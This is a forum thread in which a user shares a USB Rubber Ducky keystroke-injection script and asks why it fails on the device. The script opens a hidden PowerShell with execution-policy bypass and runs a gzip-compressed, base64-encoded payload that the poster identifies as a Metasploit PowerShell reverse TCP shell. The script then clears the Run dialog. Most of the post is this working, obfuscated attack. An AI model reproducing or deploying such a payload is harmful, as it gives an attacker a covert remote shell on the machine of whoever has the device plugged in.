Jump to content

base64 powershell windows 10


R03L

Recommended Posts


I got this working shell from text on windows 10 desktop,
and press ENTER it works perfectly,
but afther insering it in the ducky dus ducky code ENTER it stay's unclosed and the " are not in place.

ducky beginners mistakes, details also MS is always busy imposing themself with slightest changes wich actualy linux has most minimal.
its a nice tool tho.
playing arround with these details but for today i seem not to find this little detail,
well its 34 degree's heatwave outside, so meybe anybody can help me with it.
 

DELAY 400
GUI r
DELAY 450
STRING powershell
ENTER
DELAY 400
STRING powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOtBEl0CA51W227jNhB991cMXHUtIRZhG+22DZBFvUq2DZDuGiu3eTAMhKbGsRqZdEnKFyT+95ISZclxgm2qF1vk8MyZMxfqOxiJDcp5ziGEW5lqjRxmO/hofsa55CjhHVzSNcLvVCa7VstYMp0KDr+hDm9xxrIUuYbWYwvM420YXMBn3IRfZn8j0xCOdyv8TJdoFjUx9lFhXxmTPxVe4pzmmY4kJmYnpZkyEJ6WOR6sRlJsd+SZhVlvrFS2rX1NcVWF1nqEYn9EJV365f9JrGXK76deJJZLypPu8WqsMib4s8VLseGZoEmxGjhMKRgqBU6ApUjyDC3BX/0ASpN0Dn7lBkL8B9qzlCftoNgszxVns1QZ+Y3kF8blzvxfEqtaLNgDakXGbHXjLKY/mOf0IFGaSm39Os/FrkvRRcNuyBiutAEs0+GXVPav0ZW4RqnwlPEBupHyl5hHI+eo3f9lQPrvfyZ98v6ndteG4Xy3Sv2UlkiXlmyJTUydxcWaIVnTK9NTsrOl0nbZaHBTKosrsFfoIctNye9IXJn6zn/Xm5uawq7/6I0N+h5CqmBydOYrLoXGCKVO5ymjGv+iWZpQW3gRzbIZZQ/TIHiBDhnmemGr1h4aqheFCRrpqxWpI2pKNpntNE6mU8/+2sLrETLomefp+8fe3qmKPKm2/YnGrSbImUhsVZ+fD+Po+jqwSn+0Nn771pSn2KhyNsQLzDKQOefGGowOuTIl2oYz8JCvz+0btw1+ZtZMSg4bTCxXua4373gkVjuZ3i80+FEAg17/R/gjZVIoMdcQCbkSstCPwNB6tJYKJBoHa0zIHb/jrgKdJsQOLPTr6Lq9bv1CbpDf60Wzaqr+bdbNSdm8TarJ2RRuDKTVxvU+OfB8O9fq1CchryhbGM4lKKT8MFtqq5q2ffyjkRyQKtpyelVIwdM1X4sHDK+2K6OtMnofUPbHrfgmJTqjGDomzwWLG8GKTAZkRPXCrHY+dP536jaLNEPf99KiB8rjX5EmflnxXeh1wTs6F0DIEXonub2y9DEZm1Beu6bceLAmpAjxyoVco5gmp5ZKA81NqULmKhzw0uBZWZmZYLU8SQCE1bgtwQcf3vXhCb7kOixRwUlxBDWAQpAK2Ij8jRRApwbZWiIeSinkpDc9ctZgXewTliGVfvASg4vmi2n8beu0k/5T+dQw32ydZqmcNE515lOWq8XhBnZj0F0pUSYUunjqOzHWYlVdhOYronX4ejgkx12DELrbxw6QfwFi5zEjQQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
ENTER
DELAY 1000
GUI r
DELAY 200
ESC
DELAY 100
ESC
DELAY 100
ESC
Link to post
Share on other sites

ow yea this base64 is virtualnet no mind, shell works.
payload(cmd/windows/powershell_reverse_tcp
afther copy and paste it from inside windows vm guest it just doesn't on ducky,

difference theoretically
is virtual ducky code ENTER and physical enter.

Link to post
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...